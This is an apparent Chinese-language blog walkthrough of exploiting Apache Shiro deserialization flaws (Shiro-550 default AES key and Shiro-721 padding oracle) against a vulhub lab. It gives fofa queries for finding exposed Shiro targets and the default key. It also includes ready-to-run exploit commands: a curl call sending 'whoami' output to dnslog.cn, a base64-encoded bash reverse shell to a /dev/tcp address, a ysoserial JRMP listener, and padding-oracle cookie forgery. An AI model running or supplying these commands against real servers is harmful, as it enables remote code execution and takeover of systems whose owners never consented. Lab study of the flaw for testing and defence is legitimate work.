赞
踩
Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理, 可用于保护任何应用程序的安全。近年来护网中较多的漏洞。
Shiro提供了应用程序安全性API来执行以下方面:
1)身份验证:证明用户身份,通常称为用户"登录";
2)授权:访问控制;
3)密码术:保护或隐藏数据以防窥视;
4)会话管理:每个用户的时间敏感状态。
上述四个方面也被称为应用程序安全性的四个基石。
Shiro组件识别:在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe ,说明使用了 Shiro 组件。
或者fofa语法查找:
header="rememberme=deleteMe" header="shiroCookie"
Apache Shiro 框架提供了记住密码的功能( RememberMe ),用户登录成功后用户信息会经过加密编 码后存储在 cookie 中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对 称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意 Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。
进入vulhub启动2016那个靶场。
工具链接 https://github.com/insightglacier/Shiro_exploit
1.访问页面,抓包发现是shiro组件,和上面的检验方式一样。
2.利用脚本进行检验是否存在默认key的值,发现是kphaaa==
3.利用脚本去查看是否可以请求到dnslog平台,用curl 请求,带出whoami的结果,发现可以带出root,说明存在对应的漏洞。
python shiro_exploit.py -u http://target/ -t 3 -p "curl `whoami`.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="
4.对反弹的shell命令进行base编码,然后通过ysoserial中的JRMP监听模块监听11111端口,并执行反弹shell。
//编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}
//命令
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 11111 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}"
5.执行shiro.py脚本生成cookie,在shiro.py脚本中要修改key的值为自己爆破出来的Key值。
python2 shiro.py 192.168.3.18
6.然后用Bp随意抓登陆包,把cookie放上去发送,监听9999端口,会反弹回来shell。
7.也可以直接在shiro_exp的脚本中直接反弹shell。
python shiro_exploit.py -u http://192.168.42.132:8080/doLogin -t 3 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}" -k "kPH+bIxk5D2deZiIxcaaaA=="
由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存 在问题,用户可通 过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序 列化攻击,最终导致任意代码执行。但这个漏洞需要登录成功,获取到remember cookie 才可以利用。
1.访问靶场,点击登录,勾选记住密码,使用bp抓包,查看登录成功返回的remember cookie值。
2.利用dnslog 获取域名,用ysoserial工具生成payload。
java -jar ysoserial.jar CommonsBeanutils1 "ping xtevgi.dnslog.cn" > payload.class
3.利用脚本进行padding oracle attack,生成恶意的rememberme cookie,但是爆破的时间很长,大概需要几个小时。最后查看dnslog平台,发现会请求到。
python2 shiro_exp.py http://192.168.42.132:7777/ Ghj+9Zi5WrngZfhD5SPOvkVXYZJuPSxWNl7Tq2GHouXA1j6Uyw2NzTX6pAj46hUomHFmSuM8qoX2/qQIpV7pRdw5lc8c5lV4bkiIPJnQ1sAHJzM85IWsL3BOEU6xWVd5kcIsD0HHSiD+a+NhXi6xw0ocpVu28muReuoBKZAcaNhnTI8r6uXDgueAWFWpHSL0TlYMkawIogG7cfx7TOSPgaaOOQSgTkeQgBJPlpeB+5V87yyrMvoRlB3drWhy7wLBRPN/7ySXzJTxre0C2FNeSmAG7D9LoPXJFhRAHcX3m0oUo6akgSZj23FM7y30b7qLurcDgv9+DT6swRj0hzvgIBotjWG/Qq1L1EiBcvMeipwDU2/m6hp5lCp6dRPPjpDIMvsPeR18rElIyo6La+X1dLBKIaHSmMhDHpWHQjjwdMZINQNRE20gP2XWj2AmMIvqILUKI/K5keCjsLOinUy8zZ5EQQHMHIR8y6IWWO6wqYF6/VNC0qSQHNb0xPl08rXp payload.class
爆破几个小时得出来的cookie
4.重新访问靶场,用bp抓包,把爆破到的cookie放到立马进行重放,发现dnslog会被请求到,说明被访问了,按照这种方式可以构造其他恶意请求进行攻击。
总结:721漏洞攻击的话太鸡肋,手工过程太复杂。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。